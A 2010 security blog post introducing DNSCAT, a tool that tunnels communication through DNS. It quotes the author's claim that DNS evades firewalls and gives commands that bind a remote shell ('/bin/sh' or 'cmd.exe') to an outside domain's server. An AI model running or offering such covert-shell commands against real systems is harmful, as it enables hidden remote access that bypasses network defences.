DNSCAT. Really Awesome

Marco Ramilli
Date
26 February 2010
Read
Share

Hi folks,

today I wanna point out DNSCAT. Man in the Middle through DNS is not a new attack, in fact ettercap-ng does this attack from years, but DNSCAT is totally another music. Like NetCAT or NCat, DNSCAT allows direct communication between client and server. You can use it to exchange files, to send string os even to bind a reverse shell ;). To know something more:

Communicating by DNS is great because the client only needs the ability to talk to a single DNS server, any DNS server on the Internet (with recursion enabled). dnscat will, by default, use the system DNS server, which should cover basically every case. Firewalls aren't going to stop you from talking to your local DNS server, right? And I don't know about the average network, but on ours there are thousands of DNS queries every minute, so a little bit of extra traffic just gets lost in the flow.

In brief, dnscat works by taking advantage of DNS recursion. It sends messages to the authoritative nameserver for a domain, which is the key -- to be a server, you have to be the authoritative nameserver for a domain. For example, I'm the authoritative server for skullseclabs.org, so any requests that end with .skullseclabs.org, no matter where they originate, will eventually connect to 208.81.2.52 (my current address).

Example: Remote shell.


Typically, to tunnel a shell over DNS, you're going to want to run a standard server as before:
dnscat --listen
And run the shell on the client side:
Linux/BSD:
dnscat --domain skullseclabs.org --exec "/bin/sh"
Windows:
dnscat.exe --domain skullseclabs.org --exec "cmd.exe"
On the server, you can now type commands and they'll run on the client side.
Download from mirror (RS), Home Page DNSCAT
Thank you RON, this is really awesome. Now ... how has enough time to write a Metasploit plugin ?

Marco Ramilli
Date
26 February 2010
Read
Share
← Go back
Latest Posts

i-SOON Data Leak: Key Points

Introduction i-SOON (上海安洵), a prominent contractor for various Chinese government agencies such […]

Date
26.02.2024
Duration
5 min
Text
Marco Ramilli

X Gold Badges: a new proliferating market

When I saw a threat actor hijacking the X account of Google's […]

Date
08.01.2024
Duration
5 min
Text
Marco Ramilli

Technical Data Sheet: LOCKBIT 3.0

LOCKBIT 3.0 is a notorious Ransomware Group that was first identified on […]

Date
20.12.2023
Duration
5 min
Text
Marco Ramilli
1 2 3 236
Back to Top
magnifier